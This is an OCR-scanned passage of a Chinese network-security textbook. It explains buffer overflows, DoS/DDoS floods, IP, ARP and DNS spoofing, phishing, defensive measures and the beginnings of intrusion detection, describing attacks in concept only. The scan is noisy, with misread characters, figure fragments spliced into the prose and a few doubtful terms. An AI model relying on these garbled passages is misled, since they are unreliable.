。 不 要 将 重要 密码 和 资料 存放 在 上 网 的 计算 机 中 ,以 免 被 破坏 或 窃取 。 


535 缓冲 区 溢出 攻防 


缓冲 区 溢出 是 一 种 非常 普遍 和 危险 的 漏洞 ,在 各 种 操作 系统 .应 用 软件 中 广泛 存在 。 
利用 缓冲 区 溢出 攻击 ,可 以 导致 程序 运行 失败 、 重 新 启动 等 后 果 。 更 为 严重 的 是 ,可 以 利 
用 它 执行 非 授权 指令 ,甚至 可 以 取得 系统 特权 ,进而 进行 各 种 非法 操作 。 缓 冲 区 溢出 有 
多 种 英文 名 称 : buffer overflow. buffer overrun、 smash the stack, trash the stack、 


scribble the stack .mangle the stack .memory leak .overrun screw, 


1. 缓冲 区 溢出 


缓冲 区 溢出 是 指向 缓冲 区 内 填充 数据 时 超过 了 缓冲 区 本 身 的 容量 ,溢出 的 数据 覆盖 
在 合法 数据 上 。 操 作 系统 所 使 用 的 缓冲 区 又 被 称 为 堆栈 ,在 各 个 操作 进程 之 间 ,指令 会 
被 临时 储存 在 堆栈 中 ,堆栈 也 会 出 现 缓冲 区 溢出 。 而 缓冲 区 溢出 中 最 为 危险 的 是 堆栈 涪 
出 ,因为 人 侵 者 可 以 利用 堆栈 溢出 ,在 函数 返回 时 改变 返回 程序 的 地 址 ,让 其 跳 转 到 任意 
地 址 , 带 来 的 危害 有 两 种 ,一 种 是 程序 崩溃 导致 拒绝 服务 , 另 一 种 就 是 跳 转 并 且 执行 一 段 
恶意 代码 。 

缓冲 区 溢出 是 一 种 非常 普遍 且 很 危险 的 漏洞 ,在 各 种 操作 系统 、 应 用 软件 中 广泛 存 
在 。 利 用 缓冲 区 溢出 攻击 ,可 导致 程序 运行 失败 、 系 统 宕 机 、 重 新 启动 等 后 果 。 更 为 严重 
的 是 ,可 利用 其 执行 非 授 权 指令 ,甚至 可 取得 系统 特权 ,进而 进行 各 种 非法 操作 。 


2. 缓冲 区 溢出 攻击 类 型 


缓冲 区 溢出 攻击 分 为 两 种 类 型 : 代码 安排 和 控制 程序 执行 流程 。 
(1) 代码 安排 。 这 种 方法 中 又 包括 两 种 方式 。 一 是 攻击 者 向 被 攻击 的 程序 输入 一 个 
字符 串 ,程序 会 把 这 个 字符 串 放 到 缓冲 区 里 。 这 个 字符 串 包 含 的 资料 是 可 以 在 这 个 被 攻 
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击 的 硬件 平台 上 运行 的 指令 序列 。 攻 击 者 用 被 攻击 程序 的 缓冲 区 来 存放 攻击 代码 。 缓 
冲 区 可 以 设 在 任何 地 方 一 一 堆栈 . 堆 和 静态 资料 区 。 二 是 攻击 者 想 要 的 代码 已 经 在 被 攻 
击 的 程序 中 了 ,攻击 者 所 要 做 的 只 是 对 代码 传递 一 些 参数 。 

(2) 控制 程序 流程 。 通 过 寻求 改变 程序 的 执行 流程 , 跳 转 到 攻击 代码 。 最 基本 的 就 
是 溢出 一 个 没有 边界 检查 或 存在 其 他 弱点 的 缓冲 区 ,就 扰乱 了 程序 的 正常 执行 顺序 。 通 
过 溢出 一 个 缓冲 区 ,攻击 者 用 暴力 的 方法 改写 相 邻 的 程序 空间 而 直接 跳 过 系统 的 检查 。 

缓冲 区 溢出 攻击 的 目的 是 扰乱 具有 某 些 特权 的 程序 的 功能 ,可 以 使 得 攻击 者 取得 程 
序 的 控制 权 , 如 果 该 程序 具有 足够 的 权限 ,那么 整个 主机 就 被 控制 了 。 为 了 达到 这 个 目 
的 ,攻击 者 必须 完成 如 下 的 两 个 任务 : 

(1) 在 程序 的 地 址 空间 里 安排 适当 的 代码 。 

(2) 通过 适当 地 初始 化 寄存 器 和 内 存 , 让 程序 跳 转 到 入 侵 者 安排 的 地 址 空间 执行 。 


3. 缓冲 区 溢出 攻击 的 防范 


缓冲 区 溢出 攻击 占 了 远程 网 络 攻击 的 绝 大 多 数 ,这 种 攻击 可 以 使 得 一 个 匿名 的 
Internet 用 户 有 机 会 获取 一 台 主 机 的 部 分 或 全 部 的 控制 权 。 如 果 能 有 效 地 消除 缓冲 区 溢 
出 的 漏洞 , 则 很 大 一 部 分 的 安全 威胁 可 以 得 到 缓解 。 针 对 缓冲 区 溢出 攻击 有 4 种 基本 保 
护 方法 : 

(1) 通过 操作 系统 使 得 缓冲 区 不 可 执行 ,从 而 阻止 攻击 者 植 人 攻击 代码 。 

(2) 强制 代码 编写 规范 。 

(3) 利用 编译 器 的 边界 检查 来 实现 缓冲 区 的 保护 。 这 个 方法 使 得 缓冲 区 溢出 不 可 能 
出 现 ,从 而 完全 消除 了 缓冲 区 溢出 的 威胁 ,但 是 相对 而 言 代 价 比较 大 。 

(4) 在 程序 指针 失效 前 进行 完整 性 检查 。 这 种 方法 不 能 使 所 有 的 缓冲 区 溢出 失效 ， 
但 它 能 阻止 绝 大 多 数 的 缓冲 区 溢出 攻击 。 


536 拒绝 服务 的 攻防 


1. 拒绝 服务 攻击 


拒绝 服务 (Denial of Service. DoS) 是 指 通过 反复 向 某 个 Web 站 点 的 设备 发 送 过 多 的 
信息 请 求 ,堵塞 该 站 点 上 的 系统 ,导致 其 无 法 完成 应 有 的 网 络 服务 。 拒 绝 服务 分 为 资源 
消耗 型 .配置 修改 型 .物理 破坏 型 以 及 服务 利用 型 。 

拒绝 服务 攻击 是 指 黑客 利用 合理 的 服务 请 求 来 占用 过 多 的 服务 资源 ,使 合法 用 户 无 
法 得 到 服务 的 响应 ,直至 目标 瘫痪 而 停止 提供 正常 的 网 络 服 务 的 攻击 方式 。 单一 的 DoS 
是 采用 一 对 一 方式 的 , 当 攻 击 目标 各 项 性 能 指标 不 高 (CPU 速度 低 、 内 存 小 或 者 网 络 带 宽 
小 等 等 ) 时 , 它 的 效果 是 明显 的 ,否则 达 不 到 攻击 效果 。 

【案例 5-7】 有 一 个 攻击 软件 每 秒 钟 可 以 发 送 3000 个 攻击 包 , 但 用 户主 机 与 网 络 带 
宽 每 秒 钟 可 以 处 理 10 000 个 攻击 包 , 这 样 一 来 攻击 就 不 会 产生 预期 效果 。 

分 布 式 拒绝 服务 攻击 (Distributed Denial of Service, DDoS) ,是 指 借助 于 客户 /服务 
器 技术 ,将 多 个 计算 机 联合 起 来 作为 攻击 平台 ,对 一 个 或 多 个 目标 发 动 DoS 攻击 ,从 而 成 
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倍 地 提高 攻击 威力 。DDoS 是 在 传统 的 DoS 攻击 基础 上 产生 的 攻击 方式 。 其 攻击 原理 
是 : 通过 制造 伪造 的 流量 ,使 得 被 攻击 的 服务 器 、 网 络 链 路 或 网 络 设备 (如 防火 墙 、. 路 由 器 
等 ) 负 载 过 高 ,从 而 最 终 导致 系统 崩溃 ,无 法 提供 正常 的 Internet 服务 。 

DDoS 的 类 型 可 分 带宽 型 攻击 和 应 用 型 攻击 。 带 宽 型 攻击 也 称 流量 型 攻击 ,这 类 攻 
击 通过 发 出 海量 数据 包 ,造成 设备 负载 过 高 ,最终 导 致 网 络 带宽 或 设备 资源 耗 尽 ,应 用 型 
攻击 利用 了 诸如 TCP 或 HTTP 协议 的 某 些 特征 ,通过 持续 占用 有 限 的 资源 ,从 而 达到 阻 
止 目标 设备 无 法 处 理 正常 访问 请 求 的 目的 。 例 如 HTTP Half Open 攻击 和 HTTP Error 
攻击 就 属于 该 类 型 。 

高 速 广泛 连接 的 网 络 给 人 们 带 来 了 方便 ,也 为 DDoS 创造 了 极为 有 利 的 条 件 。 现 在 
电信 和 骨干 结 点 之 间 的 连接 都 是 以 G 为 级 别 的 ,大 城市 之 间 更 可 以 达到 2. 5Gb/s 的 连接 ， 
这 使 得 攻击 可 以 从 更 远 的 地 方 或 者 其 他 城市 发 起 ,攻击 者 的 倪 偶 机 位 置 可 以 在 分 布 在 更 
大 的 范围 内 ,选择 起 来 更 灵活 了 ,如 图 5-3 所 示 。 


master 


Zombie 


5-3 DDoS 攻击 树 


其 中 ,zombie( 僵 尸 机 或 便 偶 机 ) 是 实际 执行 攻击 的 主机 ,该 主机 通常 是 网 络 中 普通 
的 终端 ,被 master 入 侵 并 控制 ,在 某 一 时 刻 同 时 对 指定 服务 器 执行 非 正常 访问 行为 ,使 得 
被 攻击 服务 器 由 于 非 正 常 访问 量 过 大 而 发 生 拒绝 正常 访问 的 情形 。 

Master 是 安装 客户 端 软件 ,接受 攻击 者 的 指令 ,直接 控制 zombie 的 主机 。 

攻击 者 集中 了 足够 数量 的 zombie 后 ,就 可 以 联系 master 并 命令 发 动 特殊 攻击 ,由 
master 再 把 这 些 命令 传递 到 各 zombie 主机 ,在 短 时 间 内 对 目标 主机 进行 攻击 ,也 可 以 在 
很 短 的 时 间 内 中 止 攻击 。 


2. 常见 的 拒绝 服务 攻击 


常见 DDoS 攻击 的 目的 有 4 种 : 通过 使 网 络 过 载 来 干扰 甚至 阻 断 正常 的 网 络 通信 ; 
通过 向 服务 器 提交 大 量 请 求 , 使 服务 器 超 负 荷 ; 阻 断 某 一 用 户 访问 服务 器 ; 阻 断 某 服务 与 
特定 系统 或 个 人 的 通信 。 以 下 是 常见 的 几 种 DDoS 攻击 。 
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(1) Flooding 攻击 。Flooding 攻击 把 大 量 看 似 合 法 的 TCP、UDP、ICPM 包 发 送 至 
1SYN 目标 主机 ,甚至 有 些 攻击 还 利用 源 地 址 伪造 技 


= 28YNACK ~ 术 来 绕 过 检测 系统 的 监控 。 
3 ACK (2) SYN flood 攻击 。SYN flood 攻击 是 
n OA 一 种 通过 向 服务 端 发 送 虚假 的 包 以 欺骗 服务 器 
te 的 做 法 。 这 种 做 法 使 服务 器 必需 开启 自己 的 监 
a 听 端 口 不 断 等 待 ,也 就 浪费 了 系统 各 方面 的 次 
g == = — 源 。 示 意图 见 图 5-4. 
ee 


ES (3) LAND 攻击 。 与 SYN flood 类 似 , 不 
服务 器 ”过 在 LAND 攻击 包 中 的 源 地 址 和 目标 地 址 都 
是 攻击 对 象 的 IP。 这 种 攻击 会 导致 被 攻击 的 
机 器 死 循 环 , 最 终 耗 尽 资源 而 死机 。 
(4) ICMP flood 攻击 。 是 通过 向 设置 不 当 的 路 由 器 发 送 广播 信息 占用 系统 资源 的 
做 法 。 
(5) Application level flood 攻击 。 主 要 是 针对 应 用 软件 层 的 。 它 同 样 是 以 大 量 消耗 
系统 资源 为 目的 ,通过 向 IIS 这 样 的 网 络 服务 程序 提出 无 节制 的 资源 申请 来 损害 正常 的 
网 络 服务 。 


3. 拒绝 服务 攻击 检测 与 防范 
检测 DDoS 攻击 的 主要 方法 有 两 种 : 根据 异常 情况 分 析 和 使 用 DDoS 攻击 检测 


攻击 机 3 下 一 个 SYN 
(b) SYN flood 攻 击 
5-4 SYN flood 攻击 示意 图 


工具 。 
对 DDoS 攻击 的 主要 防范 策略 如 下 : 
(1) 尽早 发 现 系统 存在 的 攻击 漏洞 ,及 时 安装 系统 补丁 程序 。 
(2) 在 网 络 管理 方面 ,要 经 常 检 查 系统 的 物理 环境 ,禁止 那些 不 必要 的 网 络 服务 。 
(3) 利用 网 络 安全 设备 (如 防火 墙 ) 等 来 加 固 网 络 的 安全 性 。 
(4) 同 网 络 服务 提供 商 协调 ,帮助 用 户 实现 路 由 的 访问 控制 和 对 带宽 总 量 的 限制 。 
(5) 当 发 现 主机 正在 遭受 DDoS 攻击 时 应 当 启动 应 急 策略 ,尽快 追踪 攻击 包 , 并 及 时 
联系 ISP 和 应 急 组 织 , 分 析 受 影响 系统 ,确定 涉及 的 其 他 结 点 ,阻挡 已 知 攻击 结 点 的 
流量 。 

(6) 对 于 潜在 的 DDoS 攻击 应 当 及 时 清除 ,以 免 留 下 后 患 。 


537 其 他 攻防 技术 


网 上 的 欺骗 (spoofing) 与 认证 (authentication) 和 信任 (trust) 是 相互 联系 的 概念 。 认 
证 是 网 上 的 计算 机 相互 进行 识别 的 过 程 。 信 任 是 经 过 认证 获准 连接 的 相互 关系 。 因 此 
信任 强度 取决 于 认证 机 制 是 否 完善 可靠。 但 任何 认证 体制 都 不 可 能 做 到 百分之百 地 完 
善 .可 靠 , 总 会 形成 一 些 薄弱 环节 ,给 攻击 者 以 可 乘 之 机 ,从 而 假冒 通过 认证 以 骗取 对 方 
信任 。 这 就 是 欺骗 攻击 。 下 面 介绍 几 种 常见 的 欺骗 攻击 。 
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1. IP 欺骗 


1) IP 欺骗 原理 

IP 欺骗 由 若干 步骤 组 成 , 先 做 以 下 假定 : 

(1) 目标 主机 已 经 选 定 。 

(2) 信任 模式 已 被 发 现 ,并 找到 了 一 个 目标 主机 信任 的 主机 。 

(3) 使 此 主机 表 失 功能 ,同时 采集 目标 主机 发 出 的 TCP 序列 号 ,猜测 数据 序列 号 。 

(4) 伪装 成 被 信任 的 主机 ,同时 建立 起 与 目标 主机 基于 地 址 验证 的 应 用 连接 。 

(5) 若 成 功 ,黑客 可 用 一 种 简单 的 命令 放置 一 个 系统 后 门 ,进行 非 授 权 操作 。 

2) IP 欺骗 防范 

目前 有 以 下 方法 防范 IP 欺骗 : 

(1) 抛弃 基于 地 址 的 信任 策略 。 就 是 放弃 以 地 址 为 基础 的 验证 。 将 迫使 所 有 用 户 使 
用 其 他 远程 通信 手段 ,如 Telnet、SSH Skey 等 。 

(2) 进行 包 过 滤 。 如 果 用 户 的 网 络 是 通过 路 由 器 接 和 人 Internet 的 ,可 以 利用 用 户 路 
由 器 来 进行 包 过 滤 。 确 信 只 有 用 户 的 内 部 LAN 可 以 使 用 信任 关系 ,而 内 部 LAN 上 的 主 
机 对 于 LAN 以 外 的 主机 要 慎重 处 理 。 

(3) 使 用 加 密 方法 。 在 通信 时 要 求 加 密 传输 和 验证 。 

(4) 使 用 随机 化 的 初始 序列 号 。 黑 客 攻 击 得 以 成 功 实现 的 一 个 很 重要 的 因素 就 是 序 
列 号 不 是 随机 选择 的 或 者 随机 增加 的 。 而 使 用 随机 化 的 初始 序列 号 以 后 ,序列 号 将 仍然 
按照 以 前 的 方式 增加 ,但 是 在 这 些 序列 号 空间 中 没有 明显 的 关系 。 产 生 的 序列 号 对 于 外 
部 来 说 是 不 应 该 能 够 被 计算 出 或 者 被 猜测 出 的 。 


2. ARP 欺骗 


1) ARP 协议 及 欺骗 原理 

ARP(Address Resolution Protocol) 是 地 址 解析 协议 ,是 在 仅 知道 主机 的 IP 地 址 时 
确定 其 物理 地 址 的 一 种 协议 。 其 主要 用 作 将 IP 地 址 翻译 为 以 太 网 的 MAC 地址 。 从 IP 
地 址 到 物理 地 址 的 映射 有 两 种 方式 : 表格 方式 和 非 表 格 方式 。ARP 具体 说 来 就 是 将 网 
络 层 地 址 解析 为 数据 连接 层 的 MAC 地 址 。 如 计算 机 A 的 IP 地 址 为 192. 168. 1. 1， 
MAC 地 址 为 AA:AA; 计 算 机 也 的 IP 地 址 为 192. 168. 1.2,MAC 地 址 为 BB: BB. 

ARP 的 工作 原理 及 欺骗 方法 是 : 在 TCP/IP 协议 中 ,A 向 B 发 送 IP 包 ,在 包头 中 需要 
填写 B 的 了 为 目标 地 址 ,但 这 个 全 包 在 以 太 网 上 传输 的 时 候 , 还 需要 进行 一 次 以 太 包 的 封 
装 ,在 这 个 以 太 包 中 ,目标 地 址 就 是 了 的 MAC 地 址 。 在 A 不 知道 B 的 MAC 地 址 的 情况 
下 ,A 就 广播 一 个 ARP 请 求 包 , 请 求 包 中 填 有 也 的 IP 地址 (192.168.1.2), 以 太 网 中 的 所 有 
计算 机 都 会 接收 这 个 请 求 , 而 正常 的 情况 下 只 有 B 会 给 出 ARP 应 答 包 , 包 中 就 填充 上 了 
B 的 MAC 地 址 ,并 回复 给 A. A 得 到 ARP 应 答 后 ,将 B 的 MAC 地 址 放 入 本 机 缓存 ,便于 
下 次 使 用 。 本 机 MAC 缓存 是 有 生存 期 的 ,生存 期 结束 后 ,将 再 次 重复 上 面 的 过 程 。 

2) ARP 欺骗 防范 

目前 有 以 下 方法 防范 ARP 欺骗 : 
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(1) MAC 地 址 绑 定 。 在 路 由 器 中 建立 一 个 IP 地 址 与 MAC 地 址 的 对 应 表 , 只 有 IP 
地 址 和 MAC 地 址 相对 应 的 合法 注册 机 器 才能 得 到 正确 的 ARP 应 答 ,来 控制 IP 地 址 和 
MAC 地 址 不 匹配 的 主机 与 外 界 通信 ,以 防止 IP 地 址 被 次 用。 

(2) 使 用 静态 ARP 缓存 。 用 arp-s 命令 在 各 主机 上 绑 定 网 关 的 IP 地 址 和 MAC 地 
址 ,同时 在 网 关上 绑 定 各 主机 的 IP 地 址 和 MAC 地 址 的 方法 。 

(3) 用 可 防 ARP 攻击 的 交换 机 。 使 用 三 层 交 换 机 , 绑 定 端口 MAC-IP, 限 制 ARP 流 
量 , 及 时 发 现 并 自动 阻 断 ARP 攻击 端口 ,合理 划分 VLAN, 彻 底 阻 止 盗用 IP 地 址 和 
MAC 地 址 。 

(4) 使 用 ARP 服务 器 。 建 立 一 个 IP 和 MAC 对 应 的 数据 库 , 以 后 定期 检查 当前 的 
IP 地 址 和 MAC 地 址 对 应 关系 是 否 正 常 。 定 期 检测 交换 机 的 流量 列表 ,查看 丢 包 率 。 


3. DNS 欺骗 


1) DNS 欺骗 原理 

熟悉 网 络 的 人 都 知道 , 当 客 户 机 向 一 台 服 务 器 请 求 服务 时 ,服务 器 方 一 般 会 根据 客 
户 机 的 IP 反 向 解析 出 该 IP 对 应 的 域名 。 这 种 反 向 域名 解析 就 是 一 个 查询 DNSCDomain 
Name Service) 的 过 程 。 如 果 可 以 冒充 域名 服务 器 ,然后 把 查询 的 IP 地 址 设 为 攻击 者 的 
IP 地 址 ,这 样 用 户 上 网 就 只 能 看 到 攻击 者 的 主页 ,而 不 是 用 户 想 要 取得 的 网 站 主页 ,这 就 
是 DNS 欺骗 的 基本 原理 。 

2) DNS 欺骗 防范 

目前 有 以 下 方法 防范 DNS 欺骗 : 

(1) 直接 用 IP 地 址 访问 重要 的 服务 。 

(2) 加 密 所 有 对 外 的 数据 流 。 服 务 器 尽量 使 用 SSH 之 类 的 有 加 密 支持 的 协议 ,一 般 
用 户 用 PGP 之 类 的 软件 加 密 所 有 发 到 网 络 上 的 数据 。 


4. 网 络 钓鱼 


网 络 钓鱼 是 一 种 欺骗 攻击 ,其 利用 欺骗 性 的 电子 邮件 和 伪造 的 Web 站 点 来 进行 诈 
骗 活 动 ,受骗 者 往往 会 泄露 自己 的 财务 数据 ,如 网 上 银行 、 信 用 卡 、 网 上 证 券 及 其 他 电子 
商务 的 用 户 账号 和 口令 等 内 容 , 诈 骗 者 通常 会 将 自己 伪装 成 知名 银行 在 线 零售 商 和 信 
用 卡 公司 等 可 信 的 机 构 ,获取 用 户 敏 感 信息 ,之 后 利用 骗取 的 信息 进行 非法 活动 。 据 统 
计 , 在 所 有 接触 诈骗 信息 的 用 户 中 ,有 高 达 5% 的 人 会 对 这 些 骗局 做 出 响应 。 

利用 网 络 钓鱼 对 用 户 进行 欺骗 的 手法 很 多 ,大 致 上 有 以 下 几 种 情况 : 

(1) 发 送 电子 邮件 ,以 虚假 信息 引诱 用 户 中 圈套 。 诈 骗 分 子 以 垃圾 邮件 的 形式 大 量 
发 送 欺 诈 性 邮件 ,大 多 是 冒充 成 一 个 容易 被 大 家 信任 的 组 织 ,这 些 邮件 多 以 中 奖 、 顾 间 、 
对 账 等 内 容 引诱 用 户 在 邮件 中 填 人 金融 账号 和 密码 ,或 是 以 各 种 紧迫 的 理由 要 求 收 件 人 
登录 某 网 页 提交 用 户 名 、 密 码 、 身 份 证 号 、 信 用 卡号 等 信息 ,继而 盗窃 用 户 资金 。 

(2) 建立 假冒 网 上 银行 .网 上 证 券 公 司 等 网 站 ,骗取 用 户 账号 密码 ,实施 盗窃 。 犯 引 
分 子 建立 起 域名 和 网 页 内 容 都 与 真正 网 上 银行 系统 .网 上 证 券 交 易 平 台 等 极为 相似 的 网 
站 ,引诱 用 户 输入 账号 .密码 等 信息 ,进而 盗窃 资金 ;还 有 的 利用 跨 站 脚本 , 即 利用 合法 网 
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站 服务 器 程序 上 的 漏洞 ,在 站 点 的 某 些 网 页 中 插入 恶意 HTML 代码 ,屏蔽 一 些 可 以 用 来 
辨别 网 站 真 假 的 重要 信息 。 

(3) 利用 虚假 的 电子 商务 进行 诈骗 。 此 类 犯罪 活动 往往 是 建立 电子 商务 网 站 ,或 是 
在 比较 知名 的 大 型 电子 商务 网 站 上 发 布 虚假 的 商品 销售 信息 ,犯罪 分 子 在 收 到 受害 人 的 
购物 汇款 后 就 销声匿迹 。 例 如 2003 年 ,罪犯 余 某 建立 奇特 器 材 网 "网 站 ,发 布 出 售 间谍 
器 材 . 黑 客 工具 等 虚假 信息 ,诱骗 顾客 将 购 货款 汇 人 其 用 虚假 身份 在 多 个 银行 开 立 的 账 
户 ,然后 转移 钱 款 。 

(4) 利用 木马 和 黑客 技术 等 手段 窃取 用 户 信息 后 实施 盗窃 活 动 。 木 马 制 作者 通过 发 
送 邮件 或 在 网 站 中 隐藏 木马 等 方式 大 肆 传 播 木 马 程序 , 当 感 染 木马 的 用 户 进行 网 上 交易 
时 ,木马 程序 即 以 键盘 记录 的 方式 获取 用 户 账 号 和 密码 ,并 发 送 给 指定 邮箱 ,用 户 资金 将 
受到 严重 威胁 。 

(5) 利用 用 户 弱 口 令 等 漏洞 破解 .猜测 用 户 账 号 和 密码 。 不 法 分 子 利 用 部 分 用 户 贪 
图 方便 设置 弱 口令 的 漏洞 ,对 银行 卡 密码 进行 破解 。 

实际 上 ,不 法 分 子 在 实施 网 络 诈骗 的 犯罪 活动 过 程 中 ,经 常 采取 以 上 几 种 手法 配合 
进行 ,还 有 的 通过 手机 短信 、QQ、MSN 进行 各 种 各 样 的 网 络 钓鱼 不 法 活动 。 


54 防范 攻击 的 策略 和 措施 


黑客 攻击 给 网 络 信息 安全 带 来 了 严重 的 威胁 与 严峻 的 挑战 。 积 极 有 效 的 防范 措施 
将 会 减少 损失 ,提高 网 络 系统 的 安全 性 和 可 靠 性 。 普 及 网 络 安全 知识 教育 ,提高 对 网 络 
安全 重要 性 的 认识 ,增强 防范 意识 ,强化 防范 措施 ,切实 增强 用 户 对 网 络 人 侵 的 认识 和 自 
我 防范 能 力 , 是 抵御 和 防范 黑客 攻击 、 确 保 网 络 安全 的 基本 途径 。 


541 防范 攻击 的 策略 


防范 黑客 攻击 要 在 主观 上 重视 ,客观 上 积极 采取 措施 ,制定 规章 制度 和 管理 制度 , 普 
及 网 络 安全 教育 ,使 用 户 掌握 网 络 安全 知识 和 有 关 的 安全 策略 。 管 理 上 应 当 明确 安 全 对 
象 ,设置 强 有 力 的 安全 保障 体系 ,按照 安全 等 级 保护 条 例 对 网 络 实施 保护 。 


542 防范 攻击 的 措施 


具体 防范 攻击 措施 与 步骤 如 下 : 

(1) 提高 安全 防范 意识 。 

(2) 及 时 下 载 ,安装 系统 补丁 程序 。 

(3) 尽量 避免 从 Internet 下 载 不 知名 的 软件 ,游戏 程序 。 

(4) 不 要 随意 打开 来 历 不 明 的 电子 邮件 及 文件 或 运行 不 熟悉 的 人 给 的 程序 。 

(5) 不 随便 运行 程序 ,不 少 这 类 程序 运行 时 易 暴 露 用 户 的 个 人 信息 。 

(6) 在 支持 HTML 的 BBS 上 ,如 发 现 提交 警告 , 先 看 源 地 址 ,预防 骗取 密码 。 

(7) 设置 安全 密码 。 使 用 字母 数字 混 排 ,常用 的 密码 设置 不 同 ,重要 密码 经 常 更 换 。 
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(8) 使 用 防 病毒 . 防 黑 客 等 防火 墙 软件 ,以 阻挡 外 部 网 络 的 侵入 。 

(9) 隐藏 IP 地 址 。 使 用 代理 服务 器 中 转 , 上 网 聊天 .BBS 等 不 会 留 下 自己 IP。 使 用 
工具 软件 ,如 Norton Internet Security 隐藏 主机 地 址 ,避免 暴露 个 人 信息 。 

【案例 5-8】 设置 代理 服务 器 。 外 部 网 络 向 内 部 网 络 申请 某 种 网 络 服务 时 ,代理 服 
务 器 接受 申请 ,然后 它 根据 其 服务 类 型 .服务 内 容 、 被 服务 的 对 象 . 服 务 者 申请 的 时 间 、 申 
请 者 的 域名 范围 等 来 决定 是 否 接受 此 项 服务 ,如 果 接 受 , 它 就 向 内 部 网 络 转 发 这 项 请 求 。 

(10) 切实 做 好 端口 防范 。 一 方面 安装 端口 监视 程序 , 另 一 方面 将 不 用 的 一 些 端口 
关闭 。 

(11) 加 强 下 浏览 器 对 网 页 的 安全 防护 。 个 人 用 户 应 通过 对 IE 属性 的 设置 来 提高 
下 访问 网 页 的 安全 性 。 

(12) 上 网 前 备份 注册 表 。 许 多 黑客 攻击 会 对 系统 注册 表 进 行 修改 。 

(13) 加 强 管理 。 将 防 病毒 、. 防 黑客 形成 惯例 ,当成 日 常 例 行 工作 ,定时 更 新 防毒 软 
件 , 将 防毒 软件 保持 在 常 驻 状 态 , 以 彻底 防毒 。 由 于 黑客 经 常会 针对 特定 的 日 期 发 动 攻 
击 , 计 算 机 用 户 在 此 期 间 应 特别 提高 警戒 。 对 于 重要 的 个 人 资料 做 好 严密 的 保护 ,并 养 
成 资料 备份 的 习惯 。 

后 讨论 思考 

(1) 为 什么 要 防范 黑客 攻击 ? 如 何 防 范 黑客 攻击 ? 

(2) 简 述 网 络 安全 防范 攻击 的 基本 措施 有 哪些 。 

(3) 说 出 几 种 通过 对 IE 属性 的 设置 来 提高 IE 访问 网 页 的 安全 性 的 具体 措施 。 


55 入 侵 检 测 与 防御 技术 


入 侵 检测 和 防御 是 确保 网 络 安全 的 重要 手段 ,是 防止 黑客 攻击 ,避免 造成 损失 的 方 
法 。 入 侵 检测 技术 是 实现 安全 监控 的 技术 手段 ,是 防火 墙 的 合理 补充 ,帮助 系统 应 对 网 
络 攻 击 ,扩展 了 系统 管理 员 的 安全 管理 能 力 。 


551 入 侵 检测 的 概念 
1. 入 侵 检 测 


“人 侵 ” 是 一 个 广义 概念 ,是 指 任 何 威胁 和 破坏 系统 资源 的 行为 ,包括 非 授 权 访 问 或 
越权 访问 系统 资源 , 搭 线 窃听 网 络 信 息 等 。 实 施 和 人 侵 行为 的 * 人 ” 称 为 人 侵 者 ,可 能 是 具 
有 系统 访问 权限 的 授权 用 户 , 也 可 能 是 非 授 权 用 户 或 者 是 冒充 者 。 入 侵 的 整个 过 程 ( 包 
括 入 侵 准 备 、 进 攻 、 侵 入 ) 都 伴随 着 攻击 .有 时 也 把 入侵 者 称 为 攻击 者 。 

入 侵 检 测 (Intrusion Detection,ID)(GB/T 18336) 指 “通过 对 行为 .安全 日 志 或 审计 
数据 或 其 他 网 络 上 获取 的 信息 进行 辨识 ,检测 到 对 系统 的 交 入 或 企图 ”的 过 程 。 入 侵 检 
测 是 防火 墙 的 合理 补充 ,帮助 系统 应 对 网 络 攻击 ,扩展 了 系统 管理 员 的 安全 管理 能 力 ( 包 
括 安 全 审计 、 监 视 、 进 攻 识别 和 响应 ) ,提高 了 信息 安全 基础 结构 的 完整 性 。 从 网 络 系统 
中 的 若干 关键 点 收集 信息 ,并 分 析 这 些 信息 ,查看 网 络 中 是 否 有 违反 安全 策略 的 行为 和 
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遭 到 袭击 的 迹象 。 入 侵 检 测 被 认为 是 防火 墙 之 后 的 第 二 道 安 全 闸门 ,在 不 影响 网 络 性 能 
的 情况 下 能 对 网 络 进 行 监测 ,从 而 提供 对 内 部 攻击 、 外 部 攻击 和 误 操作 的 实时 保护 。 


2. 入 侵 检 测 系 统 


人 侵 检测 系统 (Intrusion Detection System,IDS) 是 对 入 侵 异 常 信息 自动 进行 检测 、 
监控 和 分 析 的 组 合 系统 ,可 自动 监测 信息 系统 内 外 入 侵 。IDS 通过 从 计算 机 网 络 或 计算 
机 系统 中 的 若干 关键 点 收集 信息 ,并 对 其 进行 分 析 , 从 中 发 现 网 络 或 系统 中 是 否 有 违反 
安全 策略 的 行为 和 遭 到 袭击 的 迹象 的 一 种 安全 技术 。 

1) 入 侵 检 测 系 统 的 产生 与 发 展 

20 世纪 80 年 代 初 ,美国 人 人 詹姆斯. 安德森 (James P. Anderson) 在 题 为 (计算 机 安 
全 威胁 监控 与 监视 》(Computer Security Threat Monitoring and Surveillance) 的 技术 报 
告 中 首次 详细 闸 述 了 入 侵 检测 的 概念 ,提出 了 利用 审计 跟踪 数据 监视 入 侵 活动 的 思想 。 
1990 年 ,加 州 大 学 戴 维 斯 分 校 的 L. T. Heberlein 等 人 开发 出 了 网 络 安全 监听 (Network 
Security Monitor, NSM) 系统 。 该 系统 首次 直接 将 网 络 流 作为 审计 数据 来 源 ,因而 可 以 
在 不 将 审计 数据 转换 成 统一 格式 的 情况 下 监控 异种 主机 。IDS 发 展 史上 的 两 大 类 入 侵 检 
测 系统 一 一 基于 主机 的 入侵 检测 系统 ( Host Intrusion Detection System, HIDS) 和 基于 
网 络 人 侵 检 测 系 统 (Network Intrusion Detection System ,简称 NIDS) 形 成 。1988 年 之 
后 ,美国 开展 对 分 布 式 人 侵 检测 系统 (Distributed Intrusion Detection System, DIDS) 的 
研究 ,将 基于 主机 和 基于 网 络 的 检测 方法 集成 到 一 起 。 

2) Denning 模型 

1986 年 ,乔治 敦 大 学 的 Dorothy Denning 和 SRI/CSL 的 Peter Neumann 研究 出 了 
一 种 实时 和 人 侵 检 测 系统 模型 IDES(Intrusion-Detection Expert System, 人 和 人 侵 检 测 专家 系 
统 ) ,也 称 Denning 模型 ,主要 基于 以 下 假设 : 由 于 袭击 者 使 用 系统 的 模式 不 同 于 正常 用 
户 的 使 用 模式 ,通过 监控 系统 的 跟踪 记录 ,可 以 识别 袭击 者 异常 使 用 系统 的 模式 ,从 而 检 
测 出 袭击 者 违反 系统 安全 性 的 情况 。Denning 模型 独立 于 特定 的 系统 平台 .应 用 环境 、 系 
统 弱点 以 及 人 侵 类 型 ,为 构建 人 侵 检 测 系 统 提供 了 一 个 通用 的 框架 ,如 图 5-5 所 示 。 该 模 
